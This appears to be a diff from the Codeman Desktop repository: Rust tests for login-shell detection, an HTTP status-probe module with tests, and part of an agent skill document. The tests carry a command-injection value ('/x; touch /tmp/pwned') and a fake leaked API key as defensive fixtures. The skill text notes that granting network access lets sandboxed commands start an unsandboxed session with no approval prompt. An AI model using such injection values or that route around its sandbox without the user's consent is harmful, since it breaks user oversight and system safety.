let _serial = serial();
let s = Scratch::new("fish-retry");
let fish = s.exe("fish", &FAKE_FISH.replace("INTERACTIVE_ONLY", "yes"));
let out = start_with(&fish, &hostile_args()).expect("started");
assert!(out.starts_with("[web][--base-url][/x; touch /tmp/pwned]\n"), "{out}");
assert_eq!(s.argv_log(), "-l -c \n-l -i -c \n");
}
/// tcsh takes -l only as its only flag, so it is asked with -ic alone.
#[test]
fn tcsh_gets_ic_and_never_l() {
let _serial = serial();
let s = Scratch::new("tcsh");
let tcsh = s.exe(
"tcsh",
r#"#!/bin/sh
echo "$*" >> "DIR/argv.log"
if [ "$#" != 2 ] || [ "$1" != -ic ]; then echo "tcsh: Unknown option: $1" >&2; exit 1; fi
/usr/bin/env -i PATH="DIR/bin:/usr/bin:/bin" HOME="DIR/home" CODEMAN_DESKTOP_TEST=tcsh /bin/sh -c "$2"
"#,
);
let out = start_with(&tcsh, &hostile_args()).expect("started");
assert!(out.contains("profile: tcsh"), "{out}");
assert_eq!(s.argv_log().lines().count(), 1);
assert!(s.argv_log().starts_with("-ic /bin/sh -c '"));
}
/// A shell that takes neither -l nor -i still gets a bare -c.
#[test]
fn shell_without_login_flags_falls_back_to_plain_c() {
let _serial = serial();
let s = Scratch::new("nolflag");
let shell = s.exe(
"elvish",
r#"#!/bin/sh
echo "$1" >> "DIR/argv.log"
case "$1" in -l|-i) echo "flag provided but not defined: $1" >&2; exit 2;; esac
/usr/bin/env -i PATH="DIR/bin:/usr/bin:/bin" HOME="DIR/home" CODEMAN_DESKTOP_TEST=plain /bin/sh -c "$2"
"#,
);
let out = start_with(&shell, &hostile_args()).expect("started");
assert!(out.contains("profile: plain"), "{out}");
assert_eq!(s.argv_log(), "-l\n-l\n-c\n");
}
/// A shell that never prints its environment is reported by name with what
/// it said on stderr, never with stdout (which can carry secrets).
#[test]
fn capture_failure_names_the_shell() {
let _serial = serial();
let s = Scratch::new("broken");
let shell = s.exe(
"weirdsh",
"#!/bin/sh\necho 'API_KEY=sk-secret'\necho 'weirdsh: cannot start' >&2\nexit 3\n",
);
let err = start_with(&shell, &hostile_args()).unwrap_err();
assert!(err.contains("Could not read the environment"), "{err}");
assert!(err.contains("weirdsh: cannot start"), "{err}");
assert!(!err.contains("sk-secret"), "{err}");
}
/// POSIX shells keep running SCRIPT themselves: `-l -c SCRIPT codeman-desktop
/// args`, then `-l -i -c` when the login PATH had no codeman.
#[test]
fn posix_shell_runs_script_itself_and_retries_interactive() {
let _serial = serial();
let s = Scratch::new("zsh");
let zsh = s.exe(
"zsh",
r#"#!/bin/sh
[ "$1" = -l ] || exit 90
shift
PATH=/usr/bin:/bin
if [ "$1" = -i ]; then shift; PATH="DIR/bin:/usr/bin:/bin"; fi
[ "$1" = -c ] || exit 91
shift
echo "$2" >> "DIR/argv.log"
HOME="DIR/home"
export PATH HOME
exec /bin/sh -c "$@"
"#,
);
let out = start_with(&zsh, &hostile_args()).expect("started");
assert!(out.starts_with("[web][--base-url][/x; touch /tmp/pwned]\n"), "{out}");
// $0 of the script, once per run: login, then interactive.
assert_eq!(s.argv_log(), "codeman-desktop\ncodeman-desktop\n");
}
/// The installed check asks the same shells the same way and runs nothing:
/// found on the interactive PATH here, after the login PATH had none.
#[test]
fn installed_check_finds_codeman_without_running_it() {
let _serial = serial();
let s = Scratch::new("find-zsh");
let zsh = s.exe(
"zsh",
r#"#!/bin/sh
[ "$1" = -l ] || exit 90
shift
PATH=/usr/bin:/bin
if [ "$1" = -i ]; then shift; PATH="DIR/bin:/usr/bin:/bin"; fi
[ "$1" = -c ] || exit 91
shift
echo "$2" >> "DIR/argv.log"
HOME="DIR/home"
export PATH HOME
exec /bin/sh -c "$@"
"#,
);
// A codeman that would leave a mark if it ran.
s.exe("bin/codeman", "#!/bin/sh\ntouch DIR/ran\n");
// Without the interactive profile: one login-shell look, not found.
assert!(!installed_with(&zsh, false));
assert_eq!(s.argv_log(), "codeman-desktop\n");
assert!(installed_with(&zsh, true));
assert_eq!(s.argv_log(), "codeman-desktop\ncodeman-desktop\ncodeman-desktop\n");
assert!(!s.0.join("ran").exists(), "the installed check ran codeman");
}
/// Nothing on any PATH and no ~/.codeman/app: not installed. Through a
/// non-POSIX shell too, which only reports its environment.
#[test]
fn installed_check_reports_missing_codeman() {
let _serial = serial();
let s = Scratch::new("find-fish");
std::fs::remove_file(s.0.join("bin/codeman")).unwrap();
let fish = s.exe("fish", &FAKE_FISH.replace("INTERACTIVE_ONLY", "no"));
assert!(!installed_with(&fish, true));
// The login-only look asks fish once, with -l and never -i.
let before = s.argv_log();
assert!(!installed_with(&fish, false));
assert_eq!(&s.argv_log()[before.len()..], "-l -c \n");
// The install.sh clone counts once node is there.
let app = s.0.join("home/.codeman/app/dist");
std::fs::create_dir_all(&app).unwrap();
std::fs::write(app.join("index.js"), "").unwrap();
s.exe("bin/node", "#!/bin/sh\nexit 0\n");
assert!(installed_with(&fish, true));
assert!(installed_with(&fish, false));
}
}
File diff suppressed because it is too large. Load diff
File diff suppressed because it is too large. Load diff
File diff suppressed because it is too large. Load diff
+770
View File
@@ -0,0 +1,770 @@
//! "Is a Codeman server answering at this address, and does it want a login?"
//!
//! One `GET <server>/api/status`, five seconds at most, run off the UI thread.
//! The answer is classified into something the connect page can explain. It is
//! asked once per user action, never in a loop: Codeman counts a request
//! without valid credentials against the login rate limit (10 per IP).
use serde::Serialize;
use std::time::Duration;
use url::Url;
pub const TIMEOUT: Duration = Duration::from_secs(5);
const MAX_BODY: u64 = 8 * 1024 * 1024;
/// The path the probe asks for, relative to the server's base URL.
const STATUS_PATH: &str = "api/status";
/// rustls' text for `Error::InvalidCertificate`, which is what a handshake
/// with a certificate the OS does not trust fails with. ureq hands it over as
/// an `io::Error` of kind `InvalidData`, so the text is all there is to match
/// without a direct rustls dependency.
const CERT_REJECTED_PREFIX: &str = "invalid peer certificate";
/// std's text for a failed `getaddrinfo`. Its kind is `Uncategorized`, which
/// cannot be matched on stable Rust, so the prefix is the only handle. The
/// prefix is the same on macOS and Linux; only the resolver's reason differs.
const LOOKUP_FAILED_PREFIX: &str = "failed to lookup address information";
#[derive(Debug, Clone, PartialEq, Eq, Serialize)]
#[serde(tag = "kind", rename_all = "camelCase")]
pub enum ProbeOutcome {
Ok {
version: String,
},
/// 401 and we sent no credentials.
NeedsLogin,
/// 401 although we sent credentials.
BadCredentials,
/// 429: too many failed logins from this address. A single-user Codeman
/// still accepts the right password, so the page needs to know whether
/// this probe carried one. `retry_after_secs` is the server's
/// `Retry-After`, when it gave one in seconds.
#[serde(rename_all = "camelCase")]
RateLimited {
sent_credentials: bool,
#[serde(skip_serializing_if = "Option::is_none")]
retry_after_secs: Option<u64>,
},
/// 403 `PASSWORD_CHANGE_REQUIRED`: the credentials are valid, but a
/// multi-user Codeman wants this account's password changed first. Page
/// loads are exempt, so the web UI can show its change-password dialog.
PasswordChangeRequired,
/// 403 from Codeman's Host guard (a name it does not know, e.g. a custom domain).
HostNotAllowed,
/// 3xx. `location` is the target resolved against the probed URL.
/// `suggested` is a server address to use instead, set only when the
/// redirect stays on the same host, only moves to https or another port,
/// and still points at the status API. Never followed: a second request
/// would carry the credentials to an address the user did not type.
Redirect {
location: String,
suggested: Option<String>,
},
/// Something answered, but not Codeman's status API.
NotCodeman {
status: u16,
},
Refused,
/// No route to the address: the machine is off or on another network,
/// or macOS's Local Network privacy setting blocked the app.
Unreachable,
/// An http:// probe whose connection was closed without an answer. A
/// Codeman started with `--https` does exactly that to plain HTTP.
MaybeHttps,
Timeout,
TlsUntrusted {
detail: String,
},
Unresolvable,
Failed {
detail: String,
},
}
/// Classify an HTTP answer to `<server>/api/status`. `request` is the URL that
/// was asked, `location` and `retry_after` are those response headers.
pub fn classify_response(
request: &Url,
status: u16,
location: Option<&str>,
retry_after: Option<&str>,
sent_credentials: bool,
body: &str,
) -> ProbeOutcome {
match status {
200 => {
let parsed: Option<serde_json::Value> = serde_json::from_str(body).ok();
let version = parsed.as_ref().and_then(|v| {
(v.get("success")? == &serde_json::Value::Bool(true))
.then(|| v.get("data")?.get("version")?.as_str().map(str::to_string))
.flatten()
});
match version {
Some(version) => ProbeOutcome::Ok { version },
None => ProbeOutcome::NotCodeman { status },
}
}
300..=399 => {
// A 3xx without a usable Location (304, a garbled header) is not a
// redirect anyone can act on.
match location.and_then(|l| request.join(l.trim()).ok()) {
Some(target) => ProbeOutcome::Redirect {
suggested: suggested_server(request, &target),
location: target.into(),
},
None => ProbeOutcome::NotCodeman { status },
}
}
401 if sent_credentials => ProbeOutcome::BadCredentials,
401 => ProbeOutcome::NeedsLogin,
403 if body.contains("host not allowed") => ProbeOutcome::HostNotAllowed,
// Codeman only says this after the Basic credentials verified (the
// probe sends no cookie), so without credentials it is not Codeman's
// answer to us, and loading the page without them would not help.
403 if sent_credentials && error_code(body).as_deref() == Some("PASSWORD_CHANGE_REQUIRED") => {
ProbeOutcome::PasswordChangeRequired
}
429 => ProbeOutcome::RateLimited {
sent_credentials,
retry_after_secs: retry_after.and_then(|v| v.trim().parse::<u64>().ok()),
},
other => ProbeOutcome::NotCodeman { status: other },
}
}
/// `errorCode` of a Codeman `ApiResponse` error body.
fn error_code(body: &str) -> Option<String> {
let parsed: serde_json::Value = serde_json::from_str(body).ok()?;
Some(parsed.get("errorCode")?.as_str()?.to_string())
}
/// The server base URL a redirect points to, when it is the same server
/// moved to https or another port (a reverse proxy upgrading plain HTTP, the
/// usual case). Anything else, such as another host (a login gateway the
/// window could not pass anyway) or a downgrade to http, gets no suggestion.
fn suggested_server(request: &Url, target: &Url) -> Option<String> {
let upgrade = request.scheme() == "http" && target.scheme() == "https";
let port_change =
request.scheme() == target.scheme() && request.port_or_known_default() != target.port_or_known_default();
if !(upgrade || port_change) || target.host() != request.host() {
return None;
}
if !target.username().is_empty() || target.password().is_some() {
return None;
}
// The redirect must keep pointing at the status API (a proxy may add a
// base path in front of it); the base is what comes before it.
if !target.path().ends_with(request.path()) || !request.path().ends_with(STATUS_PATH) {
return None;
}
let base_path = &target.path()[..target.path().len() - STATUS_PATH.len()];
let mut base = target.clone();
base.set_path(base_path);
base.set_query(None);
base.set_fragment(None);
Some(base.into())
}
/// Transport failures, reduced to what the connect page explains differently.
#[derive(Debug, Clone, PartialEq, Eq)]
pub enum TransportError {
Refused,
Unreachable,
ClosedWithoutAnswer,
Timeout,
Tls(String),
Dns,
Other(String),
}
pub fn classify_transport(err: TransportError) -> ProbeOutcome {
match err {
TransportError::Refused => ProbeOutcome::Refused,
TransportError::Unreachable => ProbeOutcome::Unreachable,
TransportError::ClosedWithoutAnswer => ProbeOutcome::MaybeHttps,
TransportError::Timeout => ProbeOutcome::Timeout,
TransportError::Tls(detail) => ProbeOutcome::TlsUntrusted { detail },
TransportError::Dns => ProbeOutcome::Unresolvable,
TransportError::Other(detail) => ProbeOutcome::Failed { detail },
}
}
/// `plain_http`: the probe went to an http:// URL. Only there does a closed
/// connection hint at an https-only server; over https the same close is a
/// failed handshake with nothing more to say about it.
fn transport_error(err: &ureq::Error, plain_http: bool) -> TransportError {
use std::io::ErrorKind;
match err {
ureq::Error::Timeout(_) => TransportError::Timeout,
ureq::Error::HostNotFound => TransportError::Dns,
ureq::Error::ConnectionFailed => TransportError::Refused,
// ureq passes both a rejected certificate (rustls wraps it as
// InvalidData during the handshake) and a failed name lookup (std's
// own error) through as plain io errors, so they are told apart here
// before the kinds below swallow them.
ureq::Error::Io(e) if e.kind() == ErrorKind::InvalidData && e.to_string().starts_with(CERT_REJECTED_PREFIX) => {
TransportError::Tls(e.to_string())
}
ureq::Error::Io(e) if e.raw_os_error().is_none() && e.to_string().starts_with(LOOKUP_FAILED_PREFIX) => {
TransportError::Dns
}
ureq::Error::Io(e) => match e.kind() {
ErrorKind::ConnectionRefused | ErrorKind::ConnectionReset | ErrorKind::AddrNotAvailable => {
TransportError::Refused
}
ErrorKind::HostUnreachable | ErrorKind::NetworkUnreachable => TransportError::Unreachable,
ErrorKind::UnexpectedEof if plain_http => TransportError::ClosedWithoutAnswer,
ErrorKind::TimedOut | ErrorKind::WouldBlock => TransportError::Timeout,
_ => TransportError::Other(e.to_string()),
},
// ureq's own rustls errors come from setting up the TLS client (the
// handshake's arrive as Io above); only a certificate rejection is
// "untrusted", anything else is reported as it is.
ureq::Error::Rustls(e) if e.to_string().starts_with(CERT_REJECTED_PREFIX) => TransportError::Tls(e.to_string()),
other => TransportError::Other(other.to_string()),
}
}
/// Ask the server. Blocking: call it from a worker thread.
pub fn probe(server: &Url, authorization: Option<&str>) -> ProbeOutcome {
probe_within(server, authorization, TIMEOUT)
}
/// `probe` with the time the whole exchange may take.
pub fn probe_within(server: &Url, authorization: Option<&str>, timeout: Duration) -> ProbeOutcome {
let status_url = match server.join(STATUS_PATH) {
Ok(u) => u,
Err(e) => return ProbeOutcome::Failed { detail: e.to_string() },
};
let tls = ureq::tls::TlsConfig::builder()
.root_certs(ureq::tls::RootCerts::PlatformVerifier)
.build();
let agent: ureq::Agent = ureq::Agent::config_builder()
.timeout_global(Some(timeout))
.http_status_as_error(false)
// Never follow: a 3xx comes back as an answer and is explained.
.max_redirects(0)
.tls_config(tls)
.user_agent(concat!("CodemanDesktop/", env!("CARGO_PKG_VERSION")))
.build()
.into();
let mut req = agent.get(status_url.as_str()).header("Accept", "application/json");
if let Some(auth) = authorization {
req = req.header("Authorization", auth);
}
match req.call() {
Ok(mut resp) => {
let status = resp.status().as_u16();
let header = |name: &str| {
resp.headers()
.get(name)
.and_then(|v| v.to_str().ok())
.map(str::to_string)
};
let location = header("location");
let retry_after = header("retry-after");
let body = match resp.body_mut().with_config().limit(MAX_BODY).read_to_string() {
Ok(body) => body,
// The answer began but did not finish in time. Where the body
// decides what answered (200, 403), that is a timeout, not
// "something else answers here".
Err(e) if matches!(status, 200 | 403) && transport_error(&e, false) == TransportError::Timeout => {
return ProbeOutcome::Timeout;
}
Err(_) => String::new(),
};
classify_response(
&status_url,
status,
location.as_deref(),
retry_after.as_deref(),
authorization.is_some(),
&body,
)
}
Err(e) => classify_transport(transport_error(&e, status_url.scheme() == "http")),
}
}
#[cfg(test)]
mod tests {
use super::*;
use std::io;
fn status_url() -> Url {
Url::parse("http://studio.lan:3000/api/status").unwrap()
}
/// `classify_response` for the cases that need no headers.
fn classify(status: u16, sent_credentials: bool, body: &str) -> ProbeOutcome {
classify_response(&status_url(), status, None, None, sent_credentials, body)
}
fn redirect(request: &str, location: &str) -> ProbeOutcome {
classify_response(&Url::parse(request).unwrap(), 301, Some(location), None, false, "")
}
fn io_outcome(kind: io::ErrorKind, message: &str, plain_http: bool) -> ProbeOutcome {
let err = ureq::Error::Io(io::Error::new(kind, message.to_string()));
classify_transport(transport_error(&err, plain_http))
}
#[test]
fn ok_needs_success_and_version() {
assert_eq!(
classify(
200,
false,
r#"{"success":true,"data":{"version":"1.47.0","sessions":[]}}"#
),
ProbeOutcome::Ok {
version: "1.47.0".into()
}
);
assert_eq!(
classify(200, false, "<html>hello</html>"),
ProbeOutcome::NotCodeman { status: 200 }
);
assert_eq!(
classify(200, false, r#"{"success":false,"data":{"version":"1"}}"#),
ProbeOutcome::NotCodeman { status: 200 }
);
assert_eq!(
classify(200, false, r#"{"success":true}"#),
ProbeOutcome::NotCodeman { status: 200 }
);
}
#[test]
fn auth_and_guards() {
assert_eq!(classify(401, false, "Unauthorized"), ProbeOutcome::NeedsLogin);
assert_eq!(classify(401, true, "Unauthorized"), ProbeOutcome::BadCredentials);
assert_eq!(
classify(403, false, "Forbidden: host not allowed"),
ProbeOutcome::HostNotAllowed
);
// The Host guard runs before authentication, so it wins even with credentials.
assert_eq!(
classify(403, true, "Forbidden: host not allowed"),
ProbeOutcome::HostNotAllowed
);
assert_eq!(classify(403, false, "nope"), ProbeOutcome::NotCodeman { status: 403 });
assert_eq!(classify(502, false, ""), ProbeOutcome::NotCodeman { status: 502 });
}
/// The exact body auth.ts sends: `createErrorResponse(PASSWORD_CHANGE_REQUIRED)`.
#[test]
fn password_change_required_only_after_sent_credentials() {
let body = r#"{"success":false,"error":"You must change your password before continuing","errorCode":"PASSWORD_CHANGE_REQUIRED"}"#;
assert_eq!(classify(403, true, body), ProbeOutcome::PasswordChangeRequired);
assert_eq!(classify(403, false, body), ProbeOutcome::NotCodeman { status: 403 });
// Another Codeman error code, or the text without the JSON field, is not it.
assert_eq!(
classify(403, true, r#"{"success":false,"errorCode":"FORBIDDEN"}"#),
ProbeOutcome::NotCodeman { status: 403 }
);
assert_eq!(
classify(403, true, "PASSWORD_CHANGE_REQUIRED"),
ProbeOutcome::NotCodeman { status: 403 }
);
}
#[test]
fn rate_limited_says_whether_credentials_went_along() {
let body = "Too Many Requests, try again later";
assert_eq!(
classify(429, false, body),
ProbeOutcome::RateLimited {
sent_credentials: false,
retry_after_secs: None
}
);
assert_eq!(
classify(429, true, body),
ProbeOutcome::RateLimited {
sent_credentials: true,
retry_after_secs: None
}
);
// auth.ts sends Retry-After in whole seconds; an HTTP date is not parsed.
assert_eq!(
classify_response(&status_url(), 429, None, Some(" 742 "), true, body),
ProbeOutcome::RateLimited {
sent_credentials: true,
retry_after_secs: Some(742)
}
);
assert_eq!(
classify_response(
&status_url(),
429,
None,
Some("Wed, 21 Oct 2026 07:28:00 GMT"),
false,
body
),
ProbeOutcome::RateLimited {
sent_credentials: false,
retry_after_secs: None
}
);
}
#[test]
fn redirect_to_https_on_the_same_host_is_suggested() {
assert_eq!(
redirect("http://studio.lan/api/status", "https://studio.lan/api/status"),
ProbeOutcome::Redirect {
location: "https://studio.lan/api/status".into(),
suggested: Some("https://studio.lan/".into())
}
);
// A base path the proxy adds stays part of the suggestion; a query does not.
assert_eq!(
redirect(
"http://studio.lan:3000/api/status",
"https://studio.lan/codeman/api/status?from=http"
),
ProbeOutcome::Redirect {
location: "https://studio.lan/codeman/api/status?from=http".into(),
suggested: Some("https://studio.lan/codeman/".into())
}
);
// A relative Location resolves against the probed URL; another port is fine.
assert_eq!(
redirect(
"http://studio.lan:3000/base/api/status",
"//studio.lan:3001/base/api/status"
),
ProbeOutcome::Redirect {
location: "http://studio.lan:3001/base/api/status".into(),
suggested: Some("http://studio.lan:3001/base/".into())
}
);
}
#[test]
fn other_redirects_are_reported_without_a_suggestion() {
// Another host (a login gateway, say).
assert_eq!(
redirect("http://studio.lan/api/status", "https://sso.example.com/login?next=x"),
ProbeOutcome::Redirect {
location: "https://sso.example.com/login?next=x".into(),
suggested: None
}
);
// Same host, but no longer the status API.
assert_eq!(
redirect("http://studio.lan/api/status", "/login"),
ProbeOutcome::Redirect {
location: "http://studio.lan/login".into(),
suggested: None
}
);
// A downgrade to plain http.
assert_eq!(
redirect("https://studio.lan/api/status", "http://studio.lan/api/status"),
ProbeOutcome::Redirect {
location: "http://studio.lan/api/status".into(),
suggested: None
}
);
// Same scheme and port, only the path moved.
assert_eq!(
redirect("http://studio.lan/api/status", "/x/api/status"),
ProbeOutcome::Redirect {
location: "http://studio.lan/x/api/status".into(),
suggested: None
}
);
// Credentials in the target are never suggested.
assert_eq!(
redirect("http://studio.lan/api/status", "https://u:p@studio.lan/api/status"),
ProbeOutcome::Redirect {
location: "https://u:p@studio.lan/api/status".into(),
suggested: None
}
);
// No Location (304), or one that does not parse: nothing to act on.
assert_eq!(
classify_response(&status_url(), 304, None, None, false, ""),
ProbeOutcome::NotCodeman { status: 304 }
);
assert_eq!(
classify_response(&status_url(), 302, Some("http://[::1"), None, false, ""),
ProbeOutcome::NotCodeman { status: 302 }
);
}
#[test]
fn transport_classes() {
assert_eq!(classify_transport(TransportError::Refused), ProbeOutcome::Refused);
assert_eq!(classify_transport(TransportError::Timeout), ProbeOutcome::Timeout);
assert_eq!(classify_transport(TransportError::Dns), ProbeOutcome::Unresolvable);
assert_eq!(
classify_transport(TransportError::Tls("bad cert".into())),
ProbeOutcome::TlsUntrusted {
detail: "bad cert".into()
}
);
}
/// The io errors exactly as ureq hands them over (`Error::Io`).
#[test]
fn io_errors_are_told_apart() {
use io::ErrorKind;
// rustls' certificate rejection from the handshake.
let cert = "invalid peer certificate: UnknownIssuer";
assert_eq!(
io_outcome(ErrorKind::InvalidData, cert, false),
ProbeOutcome::TlsUntrusted { detail: cert.into() }
);
// Any other InvalidData (a port that does not speak TLS, say) is not a certificate problem.
assert_eq!(
io_outcome(
ErrorKind::InvalidData,
"received corrupt message of type InvalidContentType",
false
),
ProbeOutcome::Failed {
detail: "received corrupt message of type InvalidContentType".into()
}
);
// std's getaddrinfo failure (its real kind, Uncategorized, cannot be built on stable).
assert_eq!(
io_outcome(
ErrorKind::Other,
"failed to lookup address information: nodename nor servname provided, or not known",
true
),
ProbeOutcome::Unresolvable
);
// The same text from the OS (an errno) is not a lookup failure.
let os = ureq::Error::Io(io::Error::from_raw_os_error(1));
assert!(!matches!(
classify_transport(transport_error(&os, true)),
ProbeOutcome::Unresolvable
));
// ureq's "Peer disconnected": over http a hint at https, over https just a failure.
assert_eq!(
io_outcome(ErrorKind::UnexpectedEof, "Peer disconnected", true),
ProbeOutcome::MaybeHttps
);
assert_eq!(
io_outcome(ErrorKind::UnexpectedEof, "Peer disconnected", false),
ProbeOutcome::Failed {
detail: "Peer disconnected".into()
}
);
// No route: Local Network privacy, or a machine that is off.
assert_eq!(
io_outcome(ErrorKind::HostUnreachable, "No route to host", true),
ProbeOutcome::Unreachable
);
assert_eq!(
io_outcome(ErrorKind::NetworkUnreachable, "Network is unreachable", false),
ProbeOutcome::Unreachable
);
assert_eq!(
io_outcome(ErrorKind::ConnectionRefused, "Connection refused", true),
ProbeOutcome::Refused
);
assert_eq!(
classify_transport(transport_error(&ureq::Error::HostNotFound, true)),
ProbeOutcome::Unresolvable
);
// A ureq TLS setup message is not an untrusted certificate.
assert_eq!(
classify_transport(transport_error(
&ureq::Error::Tls("Rustls invalid dns name error"),
false
)),
ProbeOutcome::Failed {
detail: "Rustls invalid dns name error".into()
}
);
}
#[test]
fn outcome_serializes_for_the_page() {
let json = |o: ProbeOutcome| serde_json::to_value(o).unwrap();
assert_eq!(
json(ProbeOutcome::NotCodeman { status: 404 }),
serde_json::json!({"kind":"notCodeman","status":404})
);
assert_eq!(json(ProbeOutcome::NeedsLogin), serde_json::json!({"kind":"needsLogin"}));
assert_eq!(
json(ProbeOutcome::RateLimited {
sent_credentials: true,
retry_after_secs: None
}),
serde_json::json!({"kind":"rateLimited","sentCredentials":true})
);
assert_eq!(
json(ProbeOutcome::RateLimited {
sent_credentials: false,
retry_after_secs: Some(60)
}),
serde_json::json!({"kind":"rateLimited","sentCredentials":false,"retryAfterSecs":60})
);
assert_eq!(
json(ProbeOutcome::PasswordChangeRequired),
serde_json::json!({"kind":"passwordChangeRequired"})
);
assert_eq!(
json(ProbeOutcome::Redirect {
location: "https://studio.lan/api/status".into(),
suggested: Some("https://studio.lan/".into())
}),
serde_json::json!({"kind":"redirect","location":"https://studio.lan/api/status","suggested":"https://studio.lan/"})
);
assert_eq!(
json(ProbeOutcome::Redirect {
location: "https://sso.example.com/".into(),
suggested: None
}),
serde_json::json!({"kind":"redirect","location":"https://sso.example.com/","suggested":null})
);
assert_eq!(
json(ProbeOutcome::Unreachable),
serde_json::json!({"kind":"unreachable"})
);
assert_eq!(json(ProbeOutcome::MaybeHttps), serde_json::json!({"kind":"maybeHttps"}));
assert_eq!(
json(ProbeOutcome::TlsUntrusted { detail: "x".into() }),
serde_json::json!({"kind":"tlsUntrusted","detail":"x"})
);
assert_eq!(
json(ProbeOutcome::Unresolvable),
serde_json::json!({"kind":"unresolvable"})
);
}
/// Against real sockets: a closed port is `Refused`, a listener that
/// speaks HTTP but not Codeman is `NotCodeman`, a fake Codeman is `Ok`,
/// a 401 is `NeedsLogin`, a redirect is reported without being followed,
/// and a listener that hangs up without answering is `MaybeHttps`.
#[test]
fn probe_against_local_sockets() {
use std::io::{Read, Write};
use std::net::TcpListener;
let closed = {
let l = TcpListener::bind("127.0.0.1:0").unwrap();
l.local_addr().unwrap().port()
};
let url = Url::parse(&format!("http://127.0.0.1:{closed}/")).unwrap();
assert_eq!(probe(&url, None), ProbeOutcome::Refused);
/// Accept one connection, read the request and send `response`
/// (nothing, then close, for an empty one).
fn serve_raw(response: String) -> u16 {
let l = TcpListener::bind("127.0.0.1:0").unwrap();
let port = l.local_addr().unwrap().port();
std::thread::spawn(move || {
if let Ok((mut s, _)) = l.accept() {
// Read the whole request head (a GET has no body) so that
// closing sends a FIN, not a reset for unread bytes.
let mut head = Vec::new();
let mut buf = [0u8; 4096];
while !head.windows(4).any(|w| w == b"\r\n\r\n") {
match s.read(&mut buf) {
Ok(0) | Err(_) => break,
Ok(n) => head.extend_from_slice(&buf[..n]),
}
}
let _ = s.write_all(response.as_bytes());
}
});
port
}
fn serve_once(status_line: &str, extra_headers: &str, body: &str) -> u16 {
serve_raw(format!(
"HTTP/1.1 {status_line}\r\nContent-Type: application/json\r\nContent-Length: {}\r\n{extra_headers}Connection: close\r\n\r\n{body}",
body.len()
))
}
let p = serve_once("200 OK", "", r#"{"success":true,"data":{"version":"9.9.9"}}"#);
let url = Url::parse(&format!("http://127.0.0.1:{p}/")).unwrap();
assert_eq!(
probe(&url, None),
ProbeOutcome::Ok {
version: "9.9.9".into()
}
);
let p = serve_once("404 Not Found", "", "nope");
let url = Url::parse(&format!("http://127.0.0.1:{p}/")).unwrap();
assert_eq!(probe(&url, None), ProbeOutcome::NotCodeman { status: 404 });
let p = serve_once("401 Unauthorized", "", "Unauthorized");
let url = Url::parse(&format!("http://127.0.0.1:{p}/")).unwrap();
assert_eq!(probe(&url, None), ProbeOutcome::NeedsLogin);
let p = serve_once("429 Too Many Requests", "Retry-After: 30\r\n", "Too Many Requests");
let url = Url::parse(&format!("http://127.0.0.1:{p}/")).unwrap();
assert_eq!(
probe(&url, Some("Basic YWRtaW46eA==")),
ProbeOutcome::RateLimited {
sent_credentials: true,
retry_after_secs: Some(30)
}
);
// Nothing listens on the redirect target: had it been followed, the
// answer would be Refused instead.
let p = serve_once(
"301 Moved Permanently",
&format!("Location: https://127.0.0.1:{closed}/api/status\r\n"),
"",
);
let url = Url::parse(&format!("http://127.0.0.1:{p}/")).unwrap();
assert_eq!(
probe(&url, None),
ProbeOutcome::Redirect {
location: format!("https://127.0.0.1:{closed}/api/status"),
suggested: Some(format!("https://127.0.0.1:{closed}/"))
}
);
let p = serve_raw(String::new());
let url = Url::parse(&format!("http://127.0.0.1:{p}/")).unwrap();
assert_eq!(probe(&url, None), ProbeOutcome::MaybeHttps);
}
/// A Codeman that sends its status headers and then stalls (a blocked
/// event loop, a lossy link) did not answer in time. It is not "something
/// else on this port", which is what an empty body read as before.
#[test]
fn a_body_that_stalls_is_a_timeout() {
use std::io::{Read, Write};
use std::net::TcpListener;
/// Send `head` and the start of a body, then hold the connection open.
fn serve_stalling(status_line: &'static str) -> u16 {
let l = TcpListener::bind("127.0.0.1:0").unwrap();
let port = l.local_addr().unwrap().port();
std::thread::spawn(move || {
if let Ok((mut s, _)) = l.accept() {
let mut buf = [0u8; 4096];
let _ = s.read(&mut buf);
let _ = s.write_all(
format!("HTTP/1.1 {status_line}\r\nContent-Type: application/json\r\nContent-Length: 4096\r\n\r\n{{\"success\":true,").as_bytes(),
);
std::thread::sleep(Duration::from_secs(3));
}
});
port
}
let short = Duration::from_millis(400);
let url = Url::parse(&format!("http://127.0.0.1:{}/", serve_stalling("200 OK"))).unwrap();
assert_eq!(probe_within(&url, None, short), ProbeOutcome::Timeout);
// A 401 has said all it needs to with its status line.
let url = Url::parse(&format!("http://127.0.0.1:{}/", serve_stalling("401 Unauthorized"))).unwrap();
assert_eq!(probe_within(&url, None, short), ProbeOutcome::NeedsLogin);
}
}
File diff suppressed because it is too large. Load diff
+1 -1
View File
@@ -1,7 +1,7 @@
{
"name": "codeman",
"description": "Drive Codeman, the self-hosted session manager for AI coding agents, from inside a Claude Code session: spawn worker sessions, prompt them, wait for them, read their answers, clean up. Acts inside a Codeman-managed session; outside one it only reads saved Codex conversations offline.",
"version": "1.48.0",
"version": "1.49.0",
"author": {
"name": "Ark0N",
"url": "https://github.com/Ark0N"
+20 -4
View File
@@ -60,6 +60,10 @@ land in `~/.claude`; pass `--working-dir ~` to mean it). Directory launches keep
mark the project as agent scratch. If startup fails or is ambiguous, the CLI
reports the exact created ID: inspect it before retrying or cleaning up.
**`codeman: command not found` is not a dead end.** Some installs (a server run from a
source checkout, for one) put no `codeman` on PATH. Do not stop there: §0 and §1 below
are the same verbs over `curl`, and need nothing but `curl` and `jq`.
## 0. Guard and bootstrap
For live API operations, if `CODEMAN_MUX` is not `1`, **stop and say so**.
@@ -68,13 +72,25 @@ Do not guess an API URL; a server you are not part of is not yours to drive.
Two failures come from your CLI, not from Codeman: name them to the user instead of
retrying.
- **Every call fails at once with "couldn't connect" or "connection refused".** Your
CLI's sandbox blocks network access, even to this machine. Codex's default sandbox
does; it needs **Bypass approvals and sandbox** (Codeman App Settings, Codex).
- **Every call fails at once with "couldn't connect", "connection refused" or `connect
EPERM`.** Your CLI's sandbox blocks network access, even to this machine. If your CLI
can ask the user to run a command outside its sandbox (Codex can), re-run **the same
command** once that way, never a different one; if the user declines, stop. For lasting
access in Codex, the user turns on **Allow network access** (Codeman App Settings,
Codex) and starts a new Codex session. Tell them what it costs first: it applies to
every new local Codex session, and commands in Codex's sandbox can then call Codeman's
API, which can start a session outside the sandbox with no approval prompt, even when
a password is set. It opens the network wherever Codex runs the folder workspace-write
and does not change the sandbox mode: a folder Codex runs read-only keeps the network
closed, so each call still needs the per-command approval (or `/permissions`).
**Bypass approvals and sandbox** works everywhere but drops the sandbox and approvals.
